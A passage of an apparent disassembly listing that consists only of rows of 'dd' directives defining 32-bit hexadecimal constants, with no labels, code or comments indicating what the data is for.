		dd 1FD860BCh, 0C9E8D37Ah, 43EFD41h, 12C8525Fh, 1944B57Ch
		dd 664753BAh, 9602F373h, 45F80B34h, 678FF9B0h, 2D9A050Eh
		dd 579A85C8h, 4A63AF26h, 7D019712h, 0B330F312h,	732A9BC2h
		dd 17781176h, 0A8658449h, 8F4A302Ch, 0FF54BFCAh, 9D52EB99h
		dd 8CE0858Dh, 0C48F7155h, 0AE3BBF98h, 4F0441CFh, 0B985C8FAh
		dd 4776DACAh, 64FB8F22h, 0D8284771h, 781A8389h,	649ADE63h
		dd 0E2A5515Eh, 1D8EBEC9h, 4AAA8364h, 13C7505Fh,	0FBBF1F42h
		dd 0E97D201Ch, 4701F932h, 4410BD66h, 0D605A9E1h, 48B94129h
		dd 77612454h, 982B1205h
		dd 0D71789A2h, 783D1D2Ch, 31E7FAA0h, 24817C51h,	4A979890h
		dd 0BCE46F8Ch, 0FA77490h, 4BB5A794h, 524CF278h,	42D67695h
		dd 6F48F003h, 2F37CD2h,	1EDFF3BAh, 14BE5C3Eh, 4328992Fh
		dd 12DAA3C0h, 54ABDA35h, 0FB3BFE19h, 7E681607h,	0BA7EE046h
		dd 0A2FAFB39h, 0C6F43A41h, 6697161Bh, 95AD33CBh, 58762F88h
		dd 1AC83C6h, 810898BDh,	0E36FBE7Fh, 0D2C97C6Ah,	283F154Ah
		dd 0D20231B1h, 99A8B1A6h, 0E1732742h, 67586288h, 304B6475h
		dd 0A7833D05h, 1EC1103Ah, 0F8D98D22h, 24B77AC5h, 92C89E26h
		dd 5F592830h, 739E9E3Dh, 0E962BE48h, 4EAC1C1Ch,	0DB1F0DC9h
		dd 0BE14F3DEh, 390CCB6Ch, 3638C81Ah, 86AC5F1Dh,	8549BE0Bh
		dd 0DDC72Eh, 0AD1437A6h, 0C66C548Ah, 10A996Bh, 41B9B3C2h
		dd 4C18E9A2h, 757B5D3Ch, 0D8F07596h, 5C045D47h,	0EC34349Fh
		dd 0ABAB6A9Dh, 734A22C2h, 0E88D9A68h, 0B730A35Fh, 1A6A20CCh
		dd 196126A4h, 0E4451AFDh, 0E56312F8h, 343CB3C0h, 0DC5E78C0h
		dd 0D00F3C3Fh, 0AE978965h, 0A86C24C5h, 0F72CF5E2h, 8C6546E6h
		dd 0C59451F1h, 32466C4h, 22A29135h, 0FD467915h,	6F44E462h
		dd 834D7C13h, 1271D791h, 2A4C476Ah, 20F90A5Ah, 0FD59E4CFh
		dd 0A46668A9h, 0ADA988E7h, 0D3ECDF0Eh, 8E51EBA4h, 0CE8B84C5h
		dd 756A449Dh, 675B7E23h, 3D334D3Ch, 5736B1F3h, 0A2542109h
		dd 12750B2h, 0BCC40231h, 0E9661F1Fh, 90755950h,	1AD25799h
		dd 6DAC7F3Ah, 1F978F2Dh, 0A0633912h, 8B3AE09h, 26E3735Ah
		dd 7A481C6h, 9F71359Eh,	53BAB455h, 8A05AA22h, 0D5D0C3C1h
		dd 5FB14B72h, 2783DC89h, 0B79DDB50h, 80427A3Dh,	7E5DA863h
		dd 0ED4F820Ah, 90890639h, 9A72BFB3h, 0DD553FC2h, 0FBFDAAD7h
		dd 23E7EEEh, 0F71D3D96h, 0FE19C952h, 0A66CEFC7h, 0E5CC108Fh
		dd 19A11B1Bh, 6DBDC0C8h, 0D68D1D9Dh, 0CA5682C8h, 0F1E7D06Ch
		dd 5A95C360h, 602863F4h, 234855E0h, 202429E5h, 0A75D6BF3h
		dd 0A31350DBh, 0AA51F9B7h, 49AC5D33h, 7E3044B4h, 998129ACh
		dd 16442E8h, 0E8EBC168h, 9F96FDA1h, 0DDC6B01Fh,	5A562F11h
		dd 579C5C86h, 0B9C01D3h, 0FAD6339h, 688B9E6Dh, 27804BBCh
		dd 3CFCAAD1h, 324A08AEh, 0FEBE3F5Eh, 3A7ED050h,	0A8EF63D4h
		dd 0EF3D5E47h, 88E18070h, 3D6935Ah, 3A7E642Fh, 98487C8Dh
		dd 3EEA7990h, 9213E0E8h, 890AB3B0h, 0CBAE3975h,	0BC34AF7Dh
		dd 99459B46h, 0E8486D10h, 197DD70Ah, 0C99D74E7h, 143F4A4Bh
		dd 27CE8E0Ah, 49913D11h, 3D0F6515h, 9BDB69F0h, 69CDB504h
		dd 0A8C5AAF4h, 9A84604Ch, 7A65EF55h, 4686C8C2h,	0F5D41F9Dh
		dd 785A9D8Fh, 9A431D93h, 7F25A9h, 0CED679B4h, 0B577BD9Ah
		dd 0A99479DBh, 98F914DEh, 2EA36A1Ah, 92D37114h,	688449AEh
		dd 9BEEC62Ah, 1573A45Dh, 0EFE8EEDDh, 9712FF30h,	4E45FF70h
		dd 0D07D11A2h, 0D2FA6BE7h, 58EEADBBh, 0BB91DAC6h, 59E3E6E2h
		dd 0D1C55575h, 0EC4FB8BDh, 4EC12A86h, 92CA7240h, 53B12DA1h
		dd 0ECB0EE3Dh, 28D08C04h, 0AAF7D9BBh, 8B4A515h,	7FF2EFBAh
		dd 0E1786C99h, 0D8BA705Fh, 0EC5E26A0h, 0CA7E516Ah, 339196CAh
		dd 94A32D58h, 0DB700E80h, 0AD2E77C1h, 30F07A58h, 5FE490FDh
		dd 5301489Dh, 88E7012Dh, 41EA18E7h, 139F3DD0h, 22304BCh
		dd 0F98A3FCBh, 0DBEDEE38h, 0AEA3AE2h, 451DE3F6h, 0B4DB13B2h
		dd 4EDE2FA3h, 7585504Ah, 38B2CD6Dh, 4D8A6F43h, 76B389FDh
		dd 0C4DFB2B9h, 757F0498h, 853C3CCDh, 0CA3F2F1Eh, 389AF549h
		dd 83ADD887h, 23A90E64h, 0A6C43D8Ah, 0AAA107FDh, 83683903h
		dd 84E77B26h, 0AB663CAh, 59353551h, 8F0311BAh, 79D1CF8Fh
		dd 7B2F2D31h, 1AEAAE04h, 0A4FC36DBh, 0AAE6F86Eh, 0E6AD292Eh
		dd 4ABB2865h, 0EE3E0390h, 0BDCFFE16h, 4D6C2235h, 0B4A0D326h
		dd 0C8143B6Ah, 1F0995AEh, 4550C996h, 20ECBA9Ah,	7851BD3Dh
		dd 14ABBF8Eh, 5EEB85C1h, 82EAAD5Bh, 0D3D0248Dh,	0C34629B7h
		dd 8AA12918h, 3D56DBCBh, 77270F43h, 0B77933DCh,	38C61B1h
		dd 2EA65F24h, 8AADA38Bh, 43B24A7Fh, 61B93F7Dh, 8B78208Eh
		dd 99441932h, 0B9AA4AFDh, 715A108Dh, 412CDCEBh,	0C5002D1Eh
		dd 5C3731C6h, 3B949680h, 0C177B3B7h, 114FBAB5h,	0C20F2A16h
		dd 2DC5E4C4h, 9F765F34h, 0D2E87CB6h, 0DA633F99h, 0F573057Dh
		dd 852B117Eh, 0EA19A4ABh, 6121529Dh, 22A72B77h,	0A8DC365h
		dd 78B51701h, 151EDD24h, 0BE029C92h, 0EC59F0E3h, 656196Ah
		dd 52E12086h, 654562CEh, 0A91FF500h, 43B458A6h,	0EBD6BAEh
		dd 0D347E7EFh, 2EA09E36h, 2B52F46Fh, 0ADEB7137h, 0C49F1142h
		dd 73D04131h, 80B2C507h, 5E2000F1h, 16E5242Fh, 57B7A5BDh
		dd 3698FC29h, 54AAEA68h, 4BC4976h, 0A7925258h, 406D8D7Bh
		dd 3A9A877Fh, 0D7F32A06h, 24BA4258h, 0E307CC6Ah, 0F669918Fh
		dd 0BB3276D8h, 0DA8347D8h, 0E56A6877h, 6048F0E1h, 5D29AE38h
		dd 0DDCD19EDh, 0EA65D7B5h, 72A4573Eh, 117473A2h, 16A06299h
		dd 44E79AB6h, 0CF7C92E2h, 4DEDEEDh, 4C3457Ch, 0B020994h
		dd 757DF406h, 1B3E592Ah, 0F5D27CEh, 7C90C6C1h, 9EF63ECDh
		dd 16F3E245h, 0C7F649E1h, 0FC27A4BDh, 9E6D38F5h, 0E0342BF9h
		dd 76813612h, 0B57CAB95h, 8D853549h, 81A441ACh,	835F02E4h
		dd 3F7E3B8Bh, 0E5A53B92h, 89429820h, 9115A508h,	3B9A051Bh
		dd 0DBD45B06h, 5258553Ah, 0C268C22Dh, 82849286h, 0E73C8E09h
		dd 271B0848h, 0A815E606h, 4F256B59h, 49235884h,	167A5794h
		dd 577108F4h, 2DA44C8Fh, 0D445D37Fh, 0DB38A7D1h, 0BBD58BC7h
		dd 0F36E3A6Eh, 0BAD40852h, 788A0DE6h, 4658803Ch, 7B49CA30h
		dd 8BE4C224h, 188EA358h, 993ED2B0h, 0A9EC85B7h,	85752F02h
		dd 60750B42h, 8280A148h, 3B2A7A5Fh, 0C3A99A94h,	65DC473Ah
		dd 24F18F96h, 4F399A25h, 4E7044D1h, 94CA098h, 5F4E4FF5h
		dd 0A58A4DCBh, 7BF2812Fh, 0D8CD0627h, 739BF619h, 1A957C3Ah
		dd 0C87C9D51h, 1B6EF9Ch, 3300386Eh, 0C91BF1BCh,	14E83A31h
		dd 4F39A3ADh, 44BC8270h, 1EE8EA1Eh, 0C3347977h,	186908AAh
		dd 2C6841A0h, 519FF088h, 0BAF05533h, 0E41D1FC9h, 0F7F44128h
		dd 230DA21Eh, 0D311A280h, 0BCF86851h, 0F09A2657h, 39E9912Eh
		dd 75827E22h, 0F66F42D5h, 80179B29h, 62EBFE64h,	0D0CF118Fh
		dd 4DB094EBh, 4CB9A883h, 7276FA56h, 0D72B8302h,	4EC6C82Ch
		dd 0C4BB8D5Bh, 8FC92F82h, 6C1DD749h, 0D2063A3Dh, 37243AE4h
		dd 974DE2A9h, 9545AB40h, 42726774h, 0BF02DDEBh,	3DFABE2Eh
		dd 6E0FEA88h, 0BFD69B6Fh, 0CC06C6A3h, 6E5485F6h, 1ABD986h
		dd 0D8F27351h, 0C44E09D0h, 0A88219BDh, 0DA5DBC72h, 9A814E13h
		dd 0A13A83D1h, 0C464B02Fh, 0C01CF65Ch, 0E1AE5643h, 0A8BB9A38h
		dd 7A596902h, 525654FDh, 0CD4DF080h, 18CCD673h,	0D944B084h
		dd 7DAEAF8Fh, 68BD8680h, 470F2853h, 0DBFACE6h, 2D61508Eh
		dd 8B3BDED3h, 0B64A8AD7h, 46627E6Ah, 2DBC6936h,	0ED9BD1Dh
		dd 4B847D3Fh, 8B4FB295h, 69EF8867h, 9CABC55Ch, 4C7BEAB8h
		dd 0E73816F1h, 9464726Ah, 0AA53511Fh, 0AFF4F0D3h, 0FBE07571h
		dd 9FB0BF30h, 78F88856h, 0A24EB1DDh, 0D3D14271h, 5A0CFB1Bh
		dd 660B8A34h, 18BE0ED6h, 62DCCDF6h, 1709E75Eh, 55BA792Fh
		dd 3169B447h, 0C4E53ED7h, 5328495Ch, 2A0130FFh,	39751AA3h
		dd 794E7CB4h, 0E0376DB8h, 11E21AD0h, 6BEDED98h,	0E0D1011Ch
		dd 87A796Fh, 6997DFC9h,	5D68EF93h, 760D0843h, 0F4855F60h
		dd 6983716Bh, 0B8F2DEA8h
		dd 0B2375E1Bh, 9BB4E93Bh, 0D011AB5h, 0C6BC7C0h,	5E91738Dh
		dd 3DF43966h, 0B1841D3Fh, 0AC080181h, 6E6A8DC5h, 6EAFF0F0h
		dd 6DFCE5B2h, 91F79131h, 9F8B7583h, 6765C144h, 0E802CF8Dh
		dd 40726719h, 0B86AA20Eh, 91C16B16h, 0CC840590h, 0A476FEE6h
		dd 0A4E5AE58h, 9D20AD3Fh, 0D12C5710h, 802DEE67h, 5A669F49h
		dd 0E5FDCA5Ch, 0F6F014BCh, 2319DF48h, 51E47B03h, 392E56CEh
		dd 7C7EB7B5h, 8B27E6A5h, 0A875782Dh, 0F2A3F5D5h, 0C6CADB4Fh
		dd 2049F64Dh, 2F5E029h,	7545C413h, 0FC4D1922h, 8E9A962Ch
		dd 0D23DC4D5h, 0F4C2BCBFh, 372D0F61h, 0F07023CBh, 0EE79B50Fh
		dd 888A81B9h, 94723F31h, 7751F6CFh, 60B4AFE8h, 23307B7Ch
		dd 0F8043E7Dh, 0BCED7A0Ah, 41E3A77Ah, 0D6B6CEFAh, 0F41D7DBEh
		dd 0BD60B2D9h, 7D361CC1h, 0A5065AE2h, 7E159F9Bh, 3E706C7Dh
		dd 7688FB6Dh, 0A9F0270Ah, 2FF7EC72h, 0AF7BD199h, 57C72F1Ch
		dd 9D4993EDh, 4C9B7FD5h, 2A1EE168h, 0BB467A78h,	0F56E7B3h
		dd 0CA80951Ah, 8413D4B7h, 0C540F84Fh, 39E275A7h, 4693B5C5h
		dd 0D3F14230h, 0D22CDEC0h, 0E4A6BE4Ch, 24FCE2F5h, 14566069h
		dd 82DFB76Ah, 0A9C88A81h, 0F9D763A7h, 9B448D13h, 0CE4262DCh
		dd 0B4EE6A33h, 1982389Bh, 2F7E8648h, 0AC6B078Eh, 0C771E9AEh
		dd 4BBBA9E5h, 794F9021h, 4EE769E2h, 95899C1Ch, 754308A1h
		dd 6417502Dh, 9AF6019Ah, 0A62AF67Ah, 436AFD07h,	0A17E29AAh
		dd 5BF437A5h, 3C9E50C7h, 69EB50A6h, 0E08551A8h,	2CAFCD51h
		dd 775B7F29h, 3BB12144h, 5F63F48Ch, 80D3CD55h, 0D06886E5h
		dd 27BCC9B2h, 7F9D89EEh, 966F174Dh, 587C708h, 779D37E7h
		dd 0E9EECF82h, 958E959Eh, 1AAE6B9Ah, 811800B3h,	0E334408h
		dd 1EF4B125h, 9C7146DAh, 455A92D2h, 0F73CCDB5h,	86708BFCh
		dd 62391C61h, 7664D487h, 70B535FFh, 0E7D32DA7h,	0D767C2CAh
		dd 31CA4A5Bh, 491C769Bh, 3E47B2A5h, 20782C03h, 83A721F7h
		dd 8D94C67Bh, 8307234Bh, 0BAC53674h, 0BE188B4Dh, 6D25D428h
		dd 433E0CA1h, 1B2264EBh, 5DC98D34h, 0EB803B74h,	89337B7h
		dd 0C27CE0ADh, 3C997750h, 0DAE7F21Fh, 22F82777h, 9F016D3h
		dd 0F82DA818h, 252F33CEh, 224AAA72h, 9573C7FDh,	0A2CB5BE5h
		dd 31F78747h, 0EDF04ED0h, 8F4EDDC9h, 9E50F81Eh,	95CFB0E4h
		dd 35254A4Bh, 92531B2h,	0E68DD6DDh, 5C32C91Ch, 4167F10Eh
		dd 0F5DF0E6Fh, 863E2AD0h, 0D255EABAh, 8E8EDF1Ah, 0C141006Ch
		dd 4355FBC3h, 8F8E5554h, 91439935h, 0FAF59D9Fh,	0CB4F3DAEh
		dd 9FF6ADE9h, 6796C4ACh, 0ECBC065Ah, 54DF466Bh,	30BEC2B5h
		dd 267828A9h, 0E8F78681h, 1B7582Bh, 0E6F72C48h,	363DD2B3h
		dd 12D42F73h, 65B7A7E8h, 78830EB1h, 46EE8A85h, 97B96E8Fh
		dd 8873E369h, 5919257Eh, 23594C1Ah, 99BE4BCCh, 0E43C0DDEh
		dd 11AA0B61h, 92E5574Eh, 4582487Dh, 0A041E259h,	0BD7A4D66h
		dd 53CE8344h, 0C01C1213h, 3214A05Bh, 0AD3D219Fh, 0BC001546h
		dd 29F5A561h, 9EC51B9Eh, 479C7B2Eh, 0AFBD7ED4h,	66268103h
		dd 6CA50464h, 0F530A4C9h, 0B1AB9DDh, 0FDAB93CBh, 29BDA100h
		dd 0DF8E5071h, 4A216808h, 0BE8F1425h, 0B9E3AE8Ah, 3BB84C4Fh
		dd 3938333Ah, 0D23693CAh, 42A07EF3h, 0D96F83DBh, 0E3B6F246h
		dd 72BCACB4h, 7AB30141h, 7FEC8F5Bh, 0F619FEC6h,	70C8EF31h
		dd 36C7C3A3h, 4D8455D9h, 0E816BC80h, 8966D64h, 68C90CB3h
		dd 604FC712h, 6F0ED29Fh, 56C97DFFh, 788832FFh, 0C74DFB11h
		dd 0BAFFC742h, 72A4314Eh, 0CCFEE18Ah, 806AB836h, 72B0C267h
		dd 2EEE7605h, 14B7EB6Ah, 0C73075A7h, 587FB02h, 8C53718Eh
		dd 92E80C3h, 0F0F25A2Ch, 0FD765655h, 256D9E87h,	3E60824Ch
		dd 0D63DC0F2h, 8D6A1FF1h, 3211236Ah, 30B2D8B3h,	3CD72C7h
		dd 62A5BE41h, 0F6A18D22h, 9064028Ah, 72E329A2h,	2A3B1B00h
		dd 83721B1Dh, 2DB64C33h, 0E891586Eh, 0CD01766Ch, 8D354632h
		dd 5B6365EFh, 8D420B5Bh, 4DB67A5Ch, 0C6D8BD07h,	0C0E9B2DEh
		dd 757F8BF4h, 19B533Eh,	0B2DDD78Ah, 0AD7B0A9Dh,	0F2BCEDAAh
		dd 0A5992A35h, 6EAE74D0h, 9CA0165Dh, 5C18C0h, 0B42609A7h
		dd 0B65C430Ah, 1F92D5B7h, 99F4191Ch, 9AF0CEB5h,	0DC9844Bh
		dd 8AA4DE76h, 0AD2941EFh, 51399675h, 7312FF42h,	51438066h
		dd 55F584ECh, 44F633D3h, 0D4391BFCh, 0BAEC6A3Ah, 0FD96591Bh
		dd 0B41A79A5h, 5A97E177h, 0CAFD7BEAh, 1E77374Ch, 4BC8B3D5h
		dd 2D663A11h, 0E8FC470Dh, 0E852C361h, 9BBC75A6h, 735FC7A8h
		dd 538BB55Ah, 0D7D2988h, 0BD3AD65Ah, 22C1D59Dh,	0F9FB2E22h
		dd 6E9214EBh, 7834BF73h, 328B94D3h, 3AF4FA97h, 0CA0E9BAFh
		dd 0B8AC4FEDh, 0A72B5DADh, 9BD3C42Eh, 61316897h, 0A7561EE5h
		dd 91173369h, 0AF3A4774h, 8B265CDCh, 0D3AE8EB3h, 0DF6836D8h
		dd 61F3AF3Ch, 42EE2AC5h, 9D8B4CA5h, 0F0E63BB2h,	9CC1E0A6h
		dd 4B247167h, 40497488h, 0CDB69F30h, 0A0577184h, 0AAA924A0h
		dd 77BDD6Eh, 6320A59Bh,	23EEB680h, 6510D422h, 6382F6C2h
		dd 8635FFh, 4B816B0h, 4E24D330h, 0A6D74BDDh, 0B4C78EB3h
		dd 0E35736CCh, 7E47D39Ch, 55177804h, 5840066h, 0EA0C6EA6h
		dd 86164AD6h, 74A258DDh, 6F5A6C48h, 4A401CD3h, 0EEB84A2Ah
		dd 0B4C2B967h, 25F5E806h, 0FD30B6E3h, 408EE1E8h, 8FA8AF43h
		dd 0EF385E7h, 0AF5F5CBh, 552627C6h, 0CE5B5620h,	46D584AEh
		dd 4B5B96A5h, 13497D8h,	0C52B20B4h, 9374DA4Ah, 0A5E40D58h
		dd 43B8122Ah, 7CFB962Fh, 5DEF77B6h, 0EC9A0F8h, 59DAFB69h
		dd 6C2C6003h, 8D60F275h, 270A0D45h, 0AE74C1B7h,	789D3AB3h
		dd 1207B7D4h, 89EA7ACh,	71482533h, 2D6E21A0h, 4F9408A5h
		dd 3D15C78Eh, 0BF1D2F3Bh, 0E4054C59h, 932C04D9h, 0AF342034h
		dd 0C6760E64h, 78CD32CCh, 0F8D3F92Ah, 0E3AAE415h, 0A1AB66D1h
		dd 7F8E7B18h, 1C5DCE27h, 53281350h, 1B6CED8Eh, 328D8D66h
		dd 339F0714h, 4F7B241Bh, 7D0DE152h, 3CAF662Ah, 2C4DBB8Fh
		dd 4B7A90CBh, 2CFB8CE3h, 7BE0FEC2h, 76242785h, 6C558695h
		dd 1F96925Bh, 503B333Ch, 295D5DF5h, 0A8AE59F6h,	2D8AEA71h
		dd 0BBCAC4CBh, 79EBFE5Ch, 854C2C62h, 47A6498Ch,	3762D421h
		dd 7F190511h, 9D880E23h, 6BC5C88Ah, 0FDFF740h, 64529F50h
		dd 65B802E3h, 88ED9F1Eh, 50C6E913h, 0BFF34A40h,	5C63FB1Fh
		dd 9B5C4A7Bh, 9FB6A77Dh, 26F021B4h, 0E0814D5Bh,	3FEA38E9h
		dd 5A784BB7h, 0C43048F5h, 7D390C3Fh, 0B8EB90ACh, 35DF0D6Eh
		dd 0BD50CE44h, 81AEB8C3h, 0BDBAFEB3h, 0B6B7C3B6h, 31133A39h
		dd 55DC3013h, 0D08C5725h, 6874E2E1h, 2120E4A0h,	27611325h
		dd 0B2D452ABh, 0B3DFCE71h, 0B6631441h, 55E0D136h, 6E3B74Eh
		dd 0E7AEB4F5h, 0C4C8BECAh, 6FB0315Dh, 9F256602h, 15230C3Fh
		dd 0A38DF349h, 47783A74h, 0F652D00Fh, 0EAA8E94Dh, 86F855A9h
		dd 68ACF136h, 892070F6h, 0F2D6AA51h, 0BDD6E915h, 1E38D557h
		dd 3C3032F8h, 0A06A6011h, 0E259B3B0h, 35ECEDCCh, 9C791E40h
		dd 61FF65D8h, 0F4D56537h, 3F606EAEh, 4FDAB854h,	7B35004Ch
		dd 19564BDDh, 5085D640h, 0CD4D7652h, 0C5AD4AAAh, 0F1F96D07h
		dd 177BC42Ah, 8E9213F2h, 8C216A24h, 81D3456h, 9B969999h
		dd 0E6F3563Ch, 0D449FF3h, 47330D04h, 0C0D6DFD1h, 0D292020Dh
		dd 0E018ED60h, 6518AEB4h, 2A030543h, 567816B4h,	22C432B1h
		dd 72F2433Ch, 8A7940A2h, 70FD2844h, 633F1ECBh, 720EAC96h
		dd 0B96CCB09h, 0F8C3EBF0h
		dd 43830506h, 0B0E55548h, 0F84037D9h, 152CD186h, 0D15C4797h
		dd 3F7842ABh, 0DAAB173Dh, 622F2CE1h, 96077832h,	83ED4D94h
		dd 106BC9A9h, 0EDB4753Fh, 0D0F20D84h, 5052AD99h, 0E7790158h
		dd 0D970FB08h, 4D4C2F80h, 9A506FE9h, 0A13F8D84h, 50CAF00Ch
		dd 530C0B2h, 0E0200EE9h, 9B56C6EEh, 0DC5FF41Ch,	8000BEA7h
		dd 356E5E0Eh, 0F9BAC710h, 7FD4B7BFh, 760A919Eh,	8A36684Dh
		dd 1C2E7E04h, 0F8F80B2h, 0C6164247h, 1032CD30h,	1FB305CBh
		dd 5B84A5DCh, 45841892h, 0E863A73Ch, 5C5E5FA6h,	0F0614511h
		dd 8F87529Eh, 0A1D00162h, 0DD1839F0h, 308AB1FFh, 0EA567F33h
		dd 0ED09120Fh, 0B54E971Fh, 7F5E7009h, 9C98EE79h, 0F49D8E0Ah
		dd 0F86F3234h, 5A02DC3h, 0BB18D6F0h, 9A284BF7h,	0A99A892h
		dd 0DB651843h, 968B6B96h, 0DFD3699Bh, 3EC39E0Dh, 0CE4C6C90h
		dd 1C02932Ah, 0D935E71Bh, 84B56A8Fh, 78F320A1h,	1BA6C119h
		dd 1964ED57h, 0D772872Eh, 0F69D6029h, 0B2710862h, 148A288Fh
		dd 0B016985Dh, 44B27220h, 0C93046E2h, 7D672C08h, 0BF68A7BCh
		dd 0B47BE1BEh, 0A8257D61h, 0FC6488BFh, 0CAB5EA62h, 0C956DA0Eh
		dd 75AFBA15h, 42AEAE3Bh, 889CCED2h, 0BC1B945Ah,	0EB4CAA14h
		dd 0B14CF212h, 0EC563776h, 0A000B755h, 48AE968Fh, 0D8AEAD92h
		dd 5C5DC0EFh, 7234D523h, 0B127AAC4h, 9BD1A014h,	26B9F80Dh
		dd 3013F34Fh, 0B30B0CA9h, 0B6429C11h, 3F9FD23h,	0C7B1B681h
		dd 0D3BFA37Ch, 0E0AD8B91h, 11D580ACh, 5DC1E557h, 99257A44h
		dd 48BC76F5h, 0D085E299h, 694B327Fh, 386029Eh, 1EE50B8Eh
		dd 4EAE7E03h, 0D089766Ah, 2E902121h, 11FA229Dh,	0E99AC533h
		dd 0DD533h, 7BA90A5Eh, 50E53BEAh, 0C876E743h, 1ABB36DBh
		dd 1F28D82Ch, 8508F0B3h, 0B14F9B70h, 0D29AE997h, 828697B9h
		dd 0F5C3E79Ch, 1E87390Eh, 6AE5419Ch, 2180F72Fh,	0C26774CAh
		dd 0CE9F8074h, 0D3F3E4C2h, 0EA56E52Ah, 5C944169h, 0B7B499F4h
		dd 927703ACh, 9CC0EF4h,	0C1B17284h, 0B19C93B3h,	49655E1Eh
		dd 0B8C03D18h, 1792AE48h, 0ED054721h, 0CD0CDB02h, 0D6265AFAh
		dd 0A2886A53h, 5E8565C5h, 1E9A9DCCh, 5C23B1E8h,	0E153E9ADh
		dd 27A44ED3h, 0E7D366F1h, 0C21C0BE5h, 0E8565274h, 0FF6E6C42h
		dd 0A5C7D224h, 964032F4h, 27EC4D8Fh, 0D2533876h, 0A5D80074h
		dd 40E52AA7h, 36C61E22h, 3C96BCAAh, 0B2B5853Ah,	6E5F0267h
		dd 7559AD0h, 0D682C884h, 0F591D8EFh, 716EF516h,	0E521FD7Fh
		dd 0EA1F8523h, 3A5DB7E2h, 0E2B82884h, 785CF278h, 0FFCEE1F0h
		dd 0EF35C01Fh, 0F2869FF1h, 8595C4FBh, 0E557571Bh, 0DA6C6C9Dh
		dd 86143C6Bh, 1E245A77h, 214E606h, 0AE4D84C0h, 0F15656B8h
		dd 15E6D964h, 2ECE5129h, 4A719520h, 88FB0ACDh, 0ABF901B3h
		dd 0F503043Fh, 5A58A0E9h, 0BBD04266h, 19D51766h, 1E692ED0h
		dd 0F0DAAD6Fh, 8BA83FD5h, 0FDED3875h, 83FD9AD3h, 4A687071h
		dd 76809271h, 317B8BE1h, 5E438102h, 48345F0Eh, 473E4E5Ah
		dd 1CB27A1Ah, 78EF02B4h, 854D2D57h, 6AB6F85Dh, 0AFF7CD7Dh
		dd 59AC399Ah, 1E43E5D0h, 86762CD1h, 8F38A5C9h, 0CD9F96EDh
		dd 0CD3266B4h, 0C645E8A1h, 91247ACFh, 3A19F129h, 0B7C45DB5h
		dd 8933F7C1h, 990D251Dh, 861FCF78h, 9C621C8Dh, 4DCE2F44h
		dd 0C5199D24h, 585C23B6h, 48DDC4F9h, 9BD5B8F2h,	0E4D2C3E1h
		dd 98BBC205h, 98BACC7Eh, 0AB6915A3h, 3AD0CAB7h,	0F918FC76h
		dd 67C3E4B8h, 0F55CFD37h, 0F8AA0924h, 8BE4FB5Ah, 299A81FFh
		dd 637B3DF0h, 9FA22B09h, 0D642138Bh, 7EB6B12Fh,	0DB98025Eh
		dd 0E7339B61h, 0F720AF58h, 0DDDE3Ch, 0AC1C2DECh, 0DC9940A2h
		dd 130416ABh, 0BB4F8910h, 0EF43E397h, 0C0B34658h, 78C39E71h
		dd 97EFB788h, 0B1340AF3h, 60AD3810h, 5C9F6E7h, 0A4C8DBECh
		dd 60CB1477h, 4B369B66h, 0E5290328h, 0F90D5A2Eh, 0D50FBE11h
		dd 0C1996A9Ch, 0DB3A5F9Fh, 75460D27h, 0B1FBD9F4h, 0EE06309Dh
		dd 0E6425A77h, 614ABAF3h, 6D1ADEB0h, 2BC4416Fh,	499E407Ah
		dd 0B5B21E77h, 0FCED367Dh, 2330FD2Fh, 0F9F30D4Eh, 5A65567Dh
		dd 639FC279h, 9D072690h, 0EC88F8C5h, 0D7457254h, 0C0F62DD1h
		dd 0DD8AD889h, 0A54351A7h, 7600807Ch, 806DFF43h, 0EEA807B8h
		dd 0D4A8371Fh, 93AD2B53h, 4BFDA2E7h, 0AF5277EBh, 0C2F8B46Fh
		dd 54D644D3h, 8FFB4923h, 2A6FF858h, 0D4C410F6h,	0DB0AB201h
		dd 4E3B9E30h, 0CFF6BE1Dh, 0DB3A2A53h, 15771AA6h, 0DAA6ED66h
		dd 3A8D5E01h, 0EEE16456h, 0A1E439FAh, 63D4DFB1h, 0F2985967h
		dd 4E979823h, 76FE8D0Fh, 5A091E14h, 7FEBE6AAh, 0A555AD43h
		dd 4077CE00h, 2EA0BA87h, 0C0717647h, 0F7B60490h, 0F3D8974h
		dd 894A8CBh, 9E8C9A6h, 9BC5B6AFh, 19252231h, 0DF7BABB1h
		dd 0ED10771Eh, 530D315Fh, 7211CE30h, 9519E98h, 7E0D1C46h
		dd 5108FDDBh, 0A5A493F5h, 0EE4DF324h, 7FB29731h, 5FC8BAD3h
		dd 733AA2Bh, 0FB089E1Bh, 0B1B8C09Bh, 0CB144EF9h, 0EF6E2295h
		dd 0F7B348Bh, 1C80EACDh, 92A68BACh, 0EEC95094h,	46229534h
		dd 0AA2DD5F6h, 0BBF59FD2h, 0BC12EEA1h, 7C79FAF2h, 30E65BC7h
		dd 0D79FA7C1h, 684387D0h, 18CE0A1Ah, 0A068EFE7h, 0D2C9EC10h
		dd 8D7EF4E8h, 0B39BBB36h, 99B1C68Dh, 4241202Fh,	2CAE3C42h
		dd 94B5B15h, 0F65B6967h, 0E4E28A03h, 0D9109081h, 6C7CC76Ch
		dd 0AAF5AFF3h, 0A915012Ah, 12D62B03h, 0A25F4C9Dh, 806F139Bh
		dd 0D68ADC57h, 0C5C38CD4h, 9BFC6F46h, 93A592B2h, 0B2C001ABh
		dd 0D5BDF73Bh, 0A523F9E6h, 94AAFABh, 0A7C6211Eh, 0A17B0414h
		dd 0EE3560C0h, 183345A9h, 21AA2C63h, 0C12B5F44h, 8E6EFDC9h
		dd 6AB15E06h, 0C5C25DACh, 727A850h, 59A836E1h, 0C24EE33Dh
		dd 0A731BF8Ch, 6D616FFDh, 0A502457Dh, 17EF29E6h, 99EB3B2Bh
		dd 0EA46704Ah, 1AA9527Dh, 5F2DD07Bh, 0CC60E461h, 85785F72h
		dd 3BCF4BDFh, 4BCCE35Bh, 0A5093CA7h, 0C4D372Dh,	0F3690339h
		dd 0E74994DFh, 0FE9A6874h, 0D7192017h, 6A71F84Fh, 0B7CCEE6Ah
		dd 0FB4B9729h, 3A49CC55h, 96CC3342h, 0F8CE2AB2h, 3F526A1Dh
		dd 2106D71Eh, 7C6FBF47h, 7A02F23Ah, 0EBCE0767h,	9B810337h
		dd 0EEFE26E0h, 0F70E7627h, 0CD511716h, 0A6898534h, 0EE762479h
		dd 0AEC68EBFh, 176273A0h, 4ABA9975h, 54190DF9h,	479E78ECh
		dd 0DF66A1C4h, 0F62C3F38h, 0EE0B23FCh, 975F5448h, 81D55D2Ah
		dd 39EBB1D1h, 0EECA65E3h, 26C489DBh, 29BB7B4Fh,	94FD2599h
